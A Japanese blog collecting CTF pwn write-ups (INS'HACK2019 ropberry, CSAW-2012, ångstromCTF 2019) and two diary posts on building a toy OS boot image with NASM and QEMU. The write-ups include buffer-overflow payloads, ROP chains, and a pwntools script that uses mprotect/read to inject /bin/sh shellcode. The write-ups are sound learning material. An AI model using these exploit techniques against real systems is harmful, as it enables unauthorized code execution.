INS'HACK2019 Writeup にしようとしたもの

はじめに

INS'HACK2019にチームContrailとして参加したものの1問もフラグを得られず全くチームに貢献することができなかった. Pwnで1問だけローカル環境のみでシェルの起動に成功した問題があるため,自分が取り組んだことについてまとめたい.


問題

  • ropberry
You hack this guy on challenge called gimme-your-shell, but he is still always asking me the same question when I try to find his secret. Maybe you can do something.
He is waiting for you at: ssh -i <your_keyfile> -p 2226 user@ropberry.ctf.insecurity-insa.fr To find your keyfile, look into your profile on this website.


バイナリの解析

$ file ropberry
ropberry: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3338b24648887e1839f7a07a5bfb9e4bc313bec5, not stripped


$ checksec.sh --file ropberry
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   ropberry


気になったこと

  • 今回与えられたファイルは静的リンクされたバイナリである.
  • STACK CANARYNo canary foundであるため,バッファオーバーフローが狙えそうである.

考えたこと

脆弱性vuln()内でgets()が使用されていたため,すぐに見つかった.
その後,シェルを起動させるために,バイナリ内に存在する次のような関数を用いて1~4に示す方針を立てた.

$ readelf -s ropberry
  1473: 080580d0    99 FUNC    WEAK   DEFAULT    6 read
  1991: 08058d40    37 FUNC    WEAK   DEFAULT    6 mprotect
  1. バッファオーバーフローEIPを書き換えた後,ROPchainを流し込む.
  2. mprotectでメモリ上に存在する固定アドレスの一部に実行可能属性を付与する.
  3. readで実行可能な領域にシェルコードを読み込む
  4. EIPをシェルコードの先頭にする.

NXNX enabledとなっているが,mprotectでメモリ領域の保護属性を変更可能であるためあまり関係がない.

  • mprotect()呼び出し前

f:id:m412u:20190509205832p:plain

  • mprotect()呼び出し後

f:id:m412u:20190509205844p:plain

mprotect

int mprotect(void *addr, size_t len, int prot);

気をつけること

addrはページサイズでアラインメントする必要がある.Linuxのページフレームは4KB(0x1000)境界であるため,下位12bitは0x0となる.

read

ssize_t read(int fd, void *buf, size_t count);


作成したエクスプロイトコード

from pwn import *

context.log_level = "DEBUG"

elf = ELF("./ropberry")
mprotect_addr = elf.symbols["mprotect"]
read_addr = elf.symbols["read"]
fflush_addr = elf.symbols["fflush"]
print "mprotect:", hex(elf.symbols["mprotect"])
print "read:", hex(elf.symbols["read"])

shellcode = b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
    
payload = ""
payload += "A" * 8
payload += p32(mprotect_addr) # mprotect
payload += p32(0x0804859c)    # pop3ret
payload += p32(0x080ee000)    # buf
payload += p32(0x1000)        # size
payload += p32(0x7)
payload += p32(read_addr)     # read
payload += p32(0x080ee000)    # 
payload += p32(0x0)           # stdin
payload += p32(0x080ee000)    # buf
payload += p32(0x1000)        # size

p = process("./ropberry")
#shell = ssh("user", "ropberry.ctf.insecurity-insa.fr", port=2226, password=None, keyfile="~/.ssh/id_inshack")
#p = shell.run("sh")

print(p.recv())
p.sendline(payload)
p.send(b"\x90" * (0x1000-len(shellcode)) + shellcode)

p.interactive()

おわりに

現時点で,リモートでシェルの起動させることができなかった原因はわからず.


記事に間違い,もしくは原因がわかる方がおられましたら連絡していただけると幸いです.

CSAW-2012 Exploitation 200 Writeup

はじめに

Pwnの練習ということでこちらのサイトに関連する問題をちびちびやっていこうと思います. ただ,ksnctfの問題もあるのですべてをWriteupとして公開はしません. また,シェルの起動が一つのゴールであるとは思いますが,何が答えなのかいまいちわかっていません.

ctf.katsudon.org

問題リンク

shell-storm.org


解析など

ファイルの確認

$ file exploitation1-release 
exploitation1-release: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=3884e99413d7610af414a6c12ce9ee0ed4933553, with debug_info, not stripped
  • 32bitのELF
  • 動的リンク

セキュリティ機構の確認

$ checksec.sh --file exploitation1-release 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   exploitation1-release
  • STACK CANARYNo canary foundとなっているため,BOFが狙えそうです.

シンボル情報の確認

$ readelf -r exploitation1-release

再配置セクション '.rel.dyn' at offset 0x550 contains 1 entry:
 オフセット 情報    型              シンボル値 シンボル名
0804aff0  00000c06 R_386_GLOB_DAT    00000000   __gmon_start__

再配置セクション '.rel.plt' at offset 0x558 contains 28 entries:
 オフセット 情報    型              シンボル値 シンボル名
0804b000  00000107 R_386_JUMP_SLOT   00000000   setsockopt@GLIBC_2.0
0804b004  00000207 R_386_JUMP_SLOT   00000000   strcmp@GLIBC_2.0
0804b008  00000307 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804b00c  00000407 R_386_JUMP_SLOT   00000000   __isoc99_fscanf@GLIBC_2.7
0804b010  00000507 R_386_JUMP_SLOT   00000000   inet_ntoa@GLIBC_2.0
0804b014  00000607 R_386_JUMP_SLOT   00000000   getuid@GLIBC_2.0
0804b018  00000707 R_386_JUMP_SLOT   00000000   htons@GLIBC_2.0
0804b01c  00000807 R_386_JUMP_SLOT   00000000   perror@GLIBC_2.0
0804b020  00000907 R_386_JUMP_SLOT   00000000   accept@GLIBC_2.0
0804b024  00000a07 R_386_JUMP_SLOT   00000000   waitpid@GLIBC_2.0
0804b028  00000b07 R_386_JUMP_SLOT   00000000   setgid@GLIBC_2.0
0804b02c  00000c07 R_386_JUMP_SLOT   00000000   __gmon_start__
0804b030  00000d07 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
0804b034  00000e07 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804b038  00000f07 R_386_JUMP_SLOT   00000000   bind@GLIBC_2.0
0804b03c  00001007 R_386_JUMP_SLOT   00000000   getgid@GLIBC_2.0
0804b040  00001107 R_386_JUMP_SLOT   00000000   fopen@GLIBC_2.1
0804b044  00001207 R_386_JUMP_SLOT   00000000   fork@GLIBC_2.0
0804b048  00001307 R_386_JUMP_SLOT   00000000   sigemptyset@GLIBC_2.0
0804b04c  00001407 R_386_JUMP_SLOT   00000000   freeaddrinfo@GLIBC_2.0
0804b050  00001507 R_386_JUMP_SLOT   00000000   listen@GLIBC_2.0
0804b054  00001607 R_386_JUMP_SLOT   00000000   setuid@GLIBC_2.0
0804b058  00001707 R_386_JUMP_SLOT   00000000   socket@GLIBC_2.0
0804b05c  00001807 R_386_JUMP_SLOT   00000000   getaddrinfo@GLIBC_2.0
0804b060  00001907 R_386_JUMP_SLOT   00000000   sigaction@GLIBC_2.0
0804b064  00001a07 R_386_JUMP_SLOT   00000000   recv@GLIBC_2.0
0804b068  00001b07 R_386_JUMP_SLOT   00000000   close@GLIBC_2.0
0804b06c  00001c07 R_386_JUMP_SLOT   00000000   send@GLIBC_2.0
  • listenacceptが見えるのでfork-server型の問題であると予想.

実行してみる

$ chmod +x exploitation1-release
$ ./exploitation1-release 
  • へんじがない。fork-server型問題のようだ。

新しいタブを開き,確認してみます.

$ netstat -antp
...
Proto 受信-Q 送信-Q 内部アドレス            外部アドレス            状態       PID/Program name    
tcp        0      0 0.0.0.0:54321           0.0.0.0:*               LISTEN      2883/./exploitation 
...
  • ローカルの54321ポートでプロセスが待ち受けています.

繋いでみる

$ nc localhost 54321
Wecome to my first CS project.
Please type your name: 
  • プログラムの動作を確認できました.


脆弱性さがし

アセンブルしてみる

f:id:m412u:20190430091844p:plain

200pt問題なので,keyの内容を読み出せばよいのかな? 脆弱性とかではなさそう.strcmp()で入力した値とAAAAAAAAAAAAAAAAAAAAAAAAAA\nを比較しています. 比較結果が正しくない場合,keyは読み出せない模様.

$ nc localhost 54321
Wecome to my first CS project.
Please type your name:  Maru

このページのkeyをお借りしてkeyファイルを作成します.

$ echo "b3ee1f0fff06f0945d7bb018a8e85127" > key

その後,AAAA...\nを入力してみます.

$ nc localhost 54321
Wecome to my first CS project.
Please type your name:  AAAAAAAAAAAAAAAAAAAAAAAAAA
b3ee1f0fff06f0945d7bb018a8e85127

ファイルの読み出し成功!

おわりに

keyの中身を読みだせたので200ptは獲得できたと予想. おそらく,300pt・400ptと進んで行くと脆弱性をついてシェルを起動させると思います. うん!きっとそう!...


たぶん...


ångstromCTF 2019 Writeup

はじめに

ångstromCTF 2019 に参加した際に自分が解答した問題についてwriteupをまとめたいと思います. チームContrailとして参加しました.

エクスプロイトコードは重要な部分だけ掲載しています.

解いた問題

  • Aquarium
  • Chain of Rope

Aquarium

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
    system("/bin/cat flag.txt");
}

struct fish_tank {
    char name[50];
    int fish;
    int fish_size;
    int water;
    int width;
    int length;
    int height;
};


struct fish_tank create_aquarium() {
    struct fish_tank tank;

    printf("Enter the number of fish in your fish tank: ");
    scanf("%d", &tank.fish);
    getchar();

    printf("Enter the size of the fish in your fish tank: ");
    scanf("%d", &tank.fish_size);
    getchar();

    printf("Enter the amount of water in your fish tank: ");
    scanf("%d", &tank.water);
    getchar();

    printf("Enter the width of your fish tank: ");
    scanf("%d", &tank.width);
    getchar();

    printf("Enter the length of your fish tank: ");
    scanf("%d", &tank.length);
    getchar();

    printf("Enter the height of your fish tank: ");
    scanf("%d", &tank.height);
    getchar();

    printf("Enter the name of your fish tank: ");
    char name[50];
    gets(name);

    strcpy(name, tank.name);
    return tank;
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    struct fish_tank tank;

    tank = create_aquarium();

    if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
        printf("Your fish tank has overflowed!\n");
        return 1;
    }

    printf("Nice fish tank you have there.\n");

    return 0;
}

方針

gets()が使用されているためバッファオーバーフローが狙えそうです.gets()はマニュアルにあるように 使用すべきでない 関数です.なぜなら,入力長をチェックしないため改行(もしくはEOF)まで入力を受け続けるからです.

エクスプロイトコード

def main():
    payload = "A" * 152
    payload += p(0x4011b6)

    # 通信部分

    #read_until(s, "")
    read_until(s, "Enter the number of fish in your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the size of the fish in your fish tank: ")
    s.sendall("0\n")
    read_until(s, "Enter the amount of water in your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the width of your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the length of your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the height of your fish tank: ")
    s.sendall("1\n")

    read_until(s, "Enter the name of your fish tank: ")
    s.sendall(payload + "\n")

    sleep(1)
    print[s.recv(1024)]


Chain of Rope

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
    userToken = 0x1337;
    return 0;
}

int addBalance (int pin) {
    if (userToken == 0x1337 && pin == 0xdeadbeef) {
        balance = 0x4242;
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

int flag (int pin, int secret) {
    if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
        printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
        system("/bin/cat flag.txt");
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

void getInfo () {
    printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    char name [32];
    printf("--== ROPE CHAIN BLACK MARKET ==--\n");
    printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
    printf("What would you like to do?\n");
    printf("1 - Set name\n");
    printf("2 - Get user info\n");
    printf("3 - Grant access\n");
    int choice;
    scanf("%d\n", &choice);
    if (choice == 1) {
        gets(name);
    } else if (choice == 2) {
        getInfo();
    } else if (choice == 3) {
        printf("lmao no\n");
    } else {
        printf("I don't know what you're saying so get out of my black market\n");
    }
    return 0;
}

方針

問題のソースコードを見た第一印象は めんどくs 複雑な処理をしているなと感じました. ROPで引数を渡しながら関数を順に呼び出す方法も考えられましたが,gets()のバッファオーバーフローを利用してflag()の途中(0x401231)へ処理を飛ばしました.

f:id:m412u:20190427213345p:plain

エクスプロイトコード

def main():
    payload = "A" * 56
    payload += p(0x401231)

    # 通信部分

    read_until(s, "access")
    s.sendall("1\n")
    
    s.sendall(payload + "\n")

    sleep(1)
    print [s.recv(1024)]

別解

別解というよりはこちらが想定解だと思われます.

def main():
    payload = "A" * 56
    payload += p(0x401196)    # authorize
    
    payload += p(0x401403)    # pop_rdi_ret
    payload += p(0xdeadbeef)  # arg1
    payload += p(0x4011ab)    # addBalance

    payload += p(0x401403)    # pop_rdi_ret
    payload += p(0xba5eba11)  # arg1
    payload += p(0x401401)    # pop_rsi_pop_r15_ret
    payload += p(0xbedabb1e)  # arg2
    payload += p(0xdeadbeef)  # dummy
    payload += p(0x4011eb)    # flag
    
    # 通信部分

    read_until(s, "access")
    s.sendall("1\n")
    
    s.sendall(payload + "\n")

    sleep(1)
    print s.recv(1024)

まとめ

今回解答できた問題はどちらも同じ手法であったため,より多くの手法を身に付けてチームに貢献したいと思います.

30日でできる! OS自作入門 ~1日目~ その2

はじめに

下記の続きです.今回は1日目の作業を終わらせたいと思います.

m412u.hatenablog.com


作業

2. 結局何をやったのだろうか

メモ

PCを構成する装置

  • 中央処理装置
  • 主記憶装置
  • 補助記憶装置
  • 入力装置
  • 出力装置

3. アセンブラ初体験

(30日でできる! OS自作入門 ~1日目~ その1 - m412uのメモ)ではバイナリエディタを使ってhelloos.imgを作成しました. しかし,今回からはアセンブラを用いて同じファイルを作るみたいです. ただし,3. アセンブリ初体験は長すぎるのでアセンブラ記述は飛ばします.

4. もうちょっと書き直してみる

アセンブリコード

    ;;  hello-os
    ;;  TAB=4

    ;; FAT12フォーマットフロッピーディスク用の記述
    
    DB      0xeb, 0x4e, 0x90
    DB      "HELLOIPL"          ; ブートセクタの名前
    DW      512                 ; 1セクタの大きさ
    DB      1                   ; クラスタの大きさ
    DW      1                   ; FATの開始位置
    DB      2                   ; FATの個数
    DW      224                 ; ルートディレクトリ領域の大きさ
    DW      2880                ; ドライブの大きさ
    DB      0xf0                ; メディアのタイプ
    DW      9                   ; FAT領域の長さ
    DW      18                  ; 1トラック中のセクタ数
    DW      2                   ; ヘッドの数
    DD      0                   ; パーティションを使用していなければ0
    DD      2880                ; ドライブの大きさ
    DB      0, 0, 0x29          ; 固定値?
    DD      0xffffffff          ; ボリュームシリアル番号?
    DB      "HELLO-OS   "       ; ディスク名
    DB      "FAT12   "          ; フォーマット名
    RESB    18                  ; 18バイト空ける

    ;; プログラム本体

    DB      0xb8, 0x00, 0x00, 0x8e, 0xd0, 0xbc, 0x00, 0x7c
    DB      0x8e, 0xd9, 0x8e, 0xc0, 0xbe, 0x74, 0x7c, 0x8a
    DB      0x04, 0x83, 0xc6, 0x01, 0x3c, 0x00, 0x74, 0x09
    DB      0xb4, 0x0e, 0xbb, 0x0f, 0x00, 0xcd, 0x10, 0xeb
    DB      0xee, 0xf4, 0xeb, 0xfd

    ;; メッセージ部分

    DB      0x0a, 0x0a
    DB      "Hello, world"
    DB      0x0a
    DB      0

    RESB    0x1fe-($-$$)

    DB      0x55, 0xaa

    ;; ブートセクタ以外

    DB      0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00
    RESB    4600
    DB      0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00
    RESB    1469432
    

サンプルコードと異なる部分が1つあるみたいです. それは,41行目のRESB 0x1fe-$RESB 0x1fe-($-$$)となっている点です.


アセンブラnasmを使います.
nasmのインストール

$ sudo apt install nasm

コンパイル

$ nasm hello-os.s -o hello-os.img
hello-os.s:24: warning: uninitialized space declared in .text section: zeroing
hello-os.s:41: warning: uninitialized space declared in .text section: zeroing
hello-os.s:48: warning: uninitialized space declared in .text section: zeroing
hello-os.s:50: warning: uninitialized space declared in .text section: zeroing

実行

$ qemu-system-i386 -fda hello-os.img

f:id:m412u:20190319222137p:plain
実行画面

その1と同じ画面が出力されました.


もう少し詳しく

  • nasmとnaskの違い

http://hrb.osask.jp/wiki/?tools/nask

FATファイルシステムのしくみと操作法

まとめ

前回挑戦した際は5日目ぐらいまでいけたのでそこまではスムーズに進めそう.


参考

OSの動作原理を勉強する | OS自作入門 1日目 【Linux】 | サラリーマンがハッカーを真剣に目指す

FATファイルシステムのしくみと操作法

30日でできる! OS自作入門 ~1日目~ その1

はじめに

「30日でできる!」という文言に惹かれて以下の本を購入しました.

book.mynavi.jp


実は一度挫折しているので,今回もどうなるかわかりません.

書いている人間の技術力が低いので,間違った記述が多々出てくると思われます.その際は優しく指摘してください.


環境

本の中ではWindowsを開発環境として話が進んでいますが,自分はUbuntu 18.04 の 64bitで作業を進めて行きたいと思います.理由は自分の持っているPCのOSがUbuntuだからというだけです.

$ uname -a
Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux


作業

1. とにかくやるのだぁ

バイナリエディタを使用するのでインストール

$ sudo apt install ghex

バイナリエディタで1,474,560バイトを入力し続けるのはさすがに心が折れるので,先にPythonで1,474,560バイトのファイルを作成します.

$ python -c 'print("\x00"*1474560)' > helloos.img
$ du -b helloos.img 
1474561    helloos.img

これだと,1バイト大きいみたい. なので,1バイト減らします.

$ python -c 'print("\x00"*1474559)' > helloos.img
$ du -b helloos.img 
1474560    helloos.img

その後,バイナリエディタを使って必要な部分を書き換えます. せっかくなのでhello, worldの1文字目を大文字で. Hは16進数で0x48なので0x68 -> 0x48へ変更.

f:id:m412u:20190319115909p:plain

実行

エミュレータをインストール.

$ sudo apt install qemu

実行

$ qemu-system-i386 -fda helloos.img

f:id:m412u:20190319120015p:plain
実行画面


まとめ

Markdownに慣れていないので,記事を書く方に時間がかかってしまった.

参考

30日でできる! OS自作入門 | マイナビブックス

OSの動作原理を勉強する | OS自作入門 1日目 【Linux】 | サラリーマンがハッカーを真剣に目指す